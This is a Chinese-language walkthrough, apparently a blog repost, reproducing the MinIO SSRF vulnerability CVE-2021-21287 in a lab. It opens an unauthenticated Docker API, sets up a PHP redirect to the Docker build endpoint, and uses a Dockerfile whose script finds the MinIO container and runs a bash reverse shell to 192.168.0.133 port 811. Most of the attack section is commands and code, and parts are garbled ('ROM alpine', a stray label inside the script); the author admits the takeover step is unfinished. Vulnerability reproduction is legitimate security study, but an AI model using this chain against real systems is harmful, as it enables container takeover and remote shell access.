MinIO未授权SSRF漏洞（CVE-2021-21287）漏洞复现测试环境Centos8.2
⼀、启⽤Docker API
打开配置⽂件到
ExecStart=/usr/bin/dockerd
ExecStart=/usr/bin/dockerd  -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
重启
$ systemctl daemon-reload
$ systemctl restart docker
查看端⼝是否启⽤
[root@localhost ~]# netstat -nltp |grep2375
tcp6      00 :::2375                :::*                    LISTEN      4449/dockerd
[root@localhost ~]#
访问⼀下
curl -X GET 127.0.0.1:2375/images/json
如果有结果说明是成功的。
Docker 安装 minio
version: '3.7'
services:
minio1:
image: minio/minio:RELEASE.2021-01-16T02-19-44Z
volumes:
-
data1-1:/data1
- data1-2:/data2
ports:
- "9000:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server 4}/2}
healthcheck:
test: ["CMD", "curl", "-f", "localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
data1-1:
data1-2:
启动
[root@localhost momo]#
[root@localhost momo]# docker-compose -l up
Building with native build. Learn about native build in Compose here: docs.docker/go/compose-native-build/
Pulling minio1 (minio/minio:RELEASE.2021-01-16T02-19-44Z)...
RELEASE.2021-01-16T02-19-44Z: Pulling from minio/minio
a6b97b4963f5: Pull complete
13948a011eec: Pull complete
b27f7b93c977: Pull complete
527a35f50a95: Pull complete
bae74d83b250: Pull complete
0f5c2801c42c: Pull complete
23c30f3146bf: Pull complete
Digest: sha256:a176d2194523a587f4103bce5e8d408e7aadc737e7e67067ca9c195a2b69fbe4
Status: Downloaded newer image for minio/minio:RELEASE.2021-01-16T02-19-44Z
Recreating momo_minio1_1 ... done
启动之后需要等等。⼤概⼀分钟左右。才能访问
测试⼀下SSRF
可以导致SSRF 那么添加⼀个DockerFile 通过API来进⾏创建容器
⾸先需要80 端⼝的index.php
这⾥我是⽤宝塔搭建的⽹站
index.php如下：
<?php
header('Location: 192.168.0.103:2375/build?remote=192.168.0.103/Dockerfile&nocache=true&t=evil:1', false, 307)；这⾥是通过Docker API 去build 获取80端⼝下⾯的DockerFIle
然后DockerFile ⽂件如下：
ROM alpine:3.13
RUN wget -T4 192.168.0.103:811
进⾏测试
发现已经收到请求。并且建⽴了容器
然后试试接管minio
DockerFile如下：
这个地⽅有坑。还没有改好。我是随便起个docker 反弹shell
FROM alpine:3.13
RUN apk add curl bash jq
RUN set -ex && \
cve漏洞库{ \
echo'#!/bin/bash'; \
echo'set -ex'; \
echo'target="192.168.0.103:2375"'; \
echo'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
echo'for item in ${jsons[@]}; do'; \
echo'    name=$(echo $item | base64 -d | jq -r ".Image")'; \
echo'    if [[ "$name" == *"minio/minio"* ]]; then'; \
echo'        id=$(echo $item | base64 -d | jq -r ".Id")'; \
echo'        break'; \
echo'    fi'; \
echo'done'; \
echo'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.0.133/811 0>&1\"]}" | jq -r ".Id")'; \ echo'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
} | bash
然后发送请求。测试是否反弹shell

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。